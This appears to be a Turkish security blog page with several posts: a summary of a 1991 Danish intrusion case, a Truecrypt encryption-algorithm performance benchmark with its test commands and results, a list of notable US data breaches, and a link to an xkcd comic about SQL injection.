1991 yılında, 2 Danimarka’lı gencin, yanlış yapılandırılmış modem hatlarını kullanarak Danimarkada UNI-C, ve NBI (Niels Bohr Institute) ve ABD’de NASA bilgisayarlarına eriştiklerinin farkedilmesi üzerine yapılan takip ve yakalama çalışmasının Danimarka hukuk tarihinde ilk olma özelliği var.

Makalenin sonuç kısmı ise evlere şenlik. Gençlere verilen cezayı az bulan Bo Madsen, resmi makamlara yazılan raporların bilgisayarlar hakkında bilgisi olmayan birinin bile anlayacağı bir dilde ve günlük hayattan örnekler içermesi gerektiğini söylüyor. Sonuç maddelerinden bazıları şöyle:

- .netrc dosyalarnın kullanımını yasaklayan bir kanun olması gerekir.

- Damiarka ile diğer ülkeler arasında tftp kullanımı durdurulmuştur ve bir daha asla açılmayacaktır.

- Cracking işleri ağır çalışmak sayılır ve boşanma sebebi olabilir :)

Bu eğlenceli ve sürükleyici makaleye buradan ulaşabilirsiniz. Bu makaleyi yazarın copyright notunu gözönüne alarak sadece eğitim ve araştırma amaçlı olarak yayınladığımı belirtmek isterim.

herkese iyi okumalar

Truecrypt Disk Şifreleme Performans Testi

Çarşamba, 18 Haziran 2008

0. Amaç:

Bir süredir disk şifreleme programları ile biraz oynamak istiyordum, ama fırsat bulup da elimi sürememiştim. Bu hafta artık bu işe el atayım dedim (Önce arkadaş tavsiyesi Luks ile başladım ama daha sonra kendime kurban olarak Truecrypt’i seçtim.) Hatta el atmışken biraz da uykusuz kalıp, hangi şifreleme algoritması ne kadar yük getiriyor test ettim. Aslında internette aranırken birkaç karşılaştırmaya denk geldim ama tatmin edici değillerdi, ben de kendime göre bir test ortamı geliştirdim. Testleri ve sonuçları sizlerle paylaşayım:

I. Test ortamı:

Testleri gerçekleştirdiğim sistemin özellikleri:

- 2 x 2GHz AMD Turion 64 CPU (512 MB Cache)

- 2 GB RAM

- 160 GB SATA Disk (5400 RPM – dahili)

- USB 500 GB (7200 RPM * 8 MB cache – harici)

- İşletim Sistemi: GNU/Linux-2.6.24

- Yazılım: Truecrypt 5.1a

Bütün testleri dahili disk üzerinde aynı disk bölümlemesini şifreleyerek gerçekleştirdim, Testlerin bir kısmında şifrelenmemiş harici diskten şifrelenmiş dahili diske kopyalama işlemleri gerçekleştirip sonuçları gözlemeye çalıştım. Testlerin tanımlarını aşağıda ayrıca detaylı olarak vereceğim

II. Veri Setleri:

Salt arabelleklenen okuma/yazma (buffered read/write), veya ardışık okuma/yazma (sequential read/write) testleri yapmak yerine kendi davranışlarımdan yola çıkarak, data somut işlemleri test etmeye çalıştım. Çok sayıda küçük boylu dosya kopyalama, büyük dosya kopyalama, tar arşivi açmak, arşiv oluşturmak, program derlemek gibi. Bu testler sırasında kullandığım veri setlerinin listesi:

data-set1: 9321 dosya – 145184 KB -> ortalama 15.5 KB/dosya

date-set2: 21 dosya -99568 KB -> ortalama 4741.3 KB/dosya

data-set3: 12 dosya -2139672 KB -> ortalama 178306 KB/dosya

data-set4: 1 dosya -2139608 KB -> ortalama 2139608 KB/dosya

Bunlar dışında ayrıca bir arşiv işlemleri için linux çekirdek kaynak kod arşivini (linux-2.6.25.6.tar.bz2) ve derleme işlemleri için Truecrypt-5.1a kaynak kodunu kullandım.

III. Testler (Tanımlar ve Test Sonucçları):

Testlerin tanımlarını ve nasıl gerçekleştirdiğmi aşağıda açıklayacağım. Bu testleri Truecrypt’in desteklediği bütün şifreleme algoritmaları için, SHA-512 hash algoritması kullanarak, aynı sıra ile, her ardışık test arasında 10 sn. bekleyerek gerçekleştirdim. Burada amacım, bir test sırasında işlemcide oluşabilecek olası yükün, ardından gelen teste etki etmesini önlemekti. Aşağıda açıklayacağım her bir test adımının ne kadar zamanda tamamlandığını kaydedip, aynı işlemlerin şifrelenmemiş disk üzerinde gerçekleştirildiğinde alınan sonuzlar ile normalize ettim. (şifrelenmemiş disk üzerindeki test sonuçlarını 1 birim kabul ettim.)

Test adımlarını okumayı kolaylaştırmak için, ufak bir not:

SOURCE = usb harici disk üzerinde şifrelenmemiş bir ext3 disk bölümü

TARGET = dahili SATA disk üzerinde şifrelenmiş bir ext3 disk bölümünü şu parametreler ile oluşturdum:

# mkfs.ext3 -j -m 1 -O dir_index,filetype,sparse_super

Şimdi test adımarını sıralayabilirim:

-Test1: Küçük dosya kopyalama

# cp -pr $SOURCE/data-set1 $TARGET/

-Test2: Orta büyüklükte dosya kopyalama (MP3′lerimi kopyalasam ne olur?)

# cp -pr $SOURCE/data-set2 $TARGET/

- Test3: Büyük boyutlu dosya kopyalama (internetten indirdiğim dizinin 1. ve 2. sezon bölümleri:) )

# cp -pr $SOURCE/data-set3 $TARGET/

- Test4: 2 GB civarında tek dosya kopyalama testi:

# cp -pr $SOURCE/data-set4 $TARGET/

- Test5: Küçük dosyalardan olşan bir arşivin açılması:

# cd $TARGET/ && tar -jxf linux-2.6.25.6.tar.bz2

-Test6: Kaynak kod derleme testi (Truecrypt 5.1.a):

# cd $TARGET/truecrypt-5.1a-source && make WX_ROOT=$TARGET/wxWidgets-2.8.7 wxbuild && make

-Test7: Küçük dosyaların arşivlenmesi:

# cd $TARGET && tar czf kernel-surce.tar.gz linux-2.6.25.6

- Test8: Büyük bir arşiv oluşturulması:

# cd $TARGET && tar cf data-set3.tar data-set3

- Test9: Büyük bir dosya okuma:

# cd $TARGET && cat data-set3.tar > /dev/null

Testlerin Toplamı:

IV. Yorumlar:

Testlerin genelinde AES ve Twofish şifreleme yöntemleri en az gecikmeye yol açan yöntemler olarak görülüyor, gecikmeler genelde %20 – %50 civarında. Ard-arda sıralı (cascade) yöntemler beklenildiği gibi çok daha yavaş kalıyorlar; özellikle büyük dosyalar ile yapılan işlemlerde (kopyalama, arşiv oluşturma ve okuma) bu yavaşlama diğer işlemlere nazaran çok daha hissedilir oluyor. Kod derleme testinde ise belirgin bir farklılık göze çarpmıyor.

Not:Testlerin tamamlanma zamanları ile ilgili tabloya buradan erişebilirsiniz.

5 olmazsa olmaz güvenlik kaynağı

Salı, 04 Mart 2008

techrepublic‘de rastladığım bir yazıyı sizinle de paylaşmak istedim. Chad Perrin güvenlik ile ilgili 5 olmazsa olmaz kaynağı listelemiş. Bu kaynaklardan bir tanesi de A Chronology of Data Breaches sayfası.Her ne kadar sadece A.B.D’deki olanları listelemiş olsa da 2005 yılından beri gerçekleşen olaylara göz atmak bazı konularda farkındalık yaratmak açısından iyi olabilir. Hassas veri kaybı/hırsızlıklarının büyük kısmı dizüstü bilgisayar çalınmaları sonucunda meydana gelmiş. (Bu verilerin dizüstü bilgisayarlarda ne işi olduğu sorusu geliyor tabii hemen akla). Hırsızlıkların yanında, ilginç birkaç olay daha var:

  • Jax Federal Credit Union – 1 Haziran 2007: Kredi kuruluşu, müşterilerinin sosyal güvenlik numarası ve hesap numaralarını içeren bilgiyi yazıcıya şifrelemeden gönderdiğinde ve bu bilgi yazıcının web arayüzünden erişilebilir hale gelmesi ve google tarafından bu bilginin indekslenmesi.
  • Idaho Power Co. – 4 Mayıs 2006: Şirketin CEO’sunun gizli notlarını da içeren binlerce belgeyi içeren 4 adet sabit diskin eBay üzerinden satılması. (İvedik şehir hurdalığında satılan disklerden kimbilir neler çıkıyor? :) )
  • Johns Hopkins University and Johns Hopkins Hospital – 7 Şubat 2007: Toplam 135.000 kişiye ait çalışan ve hasta bilgilerinin içeren 9 adet yedek teyp kartuşunun “kaybolması”.

Bunlar listteye hızlıca göz atarken gözüme çarpanlar. Daha kimbilir neler var.

Bu arada konu dizüstü bilgisayar hırsızlığından açılmışken, vakti zamanında eşimin bana izlettiği bir youtube videosunun linkini vereyim. X-RAY cihazlarının olduğu yerlerde bu tarz bir hızsızlığın nasıl gerçekleşebileceğine ilişkin eğitici bir video:

You need to a flashplayer enabled browser to view this YouTube video

SQL Injection :)

Perşembe, 28 Şubat 2008

Bilinçli anne …

http://xkcd.com/327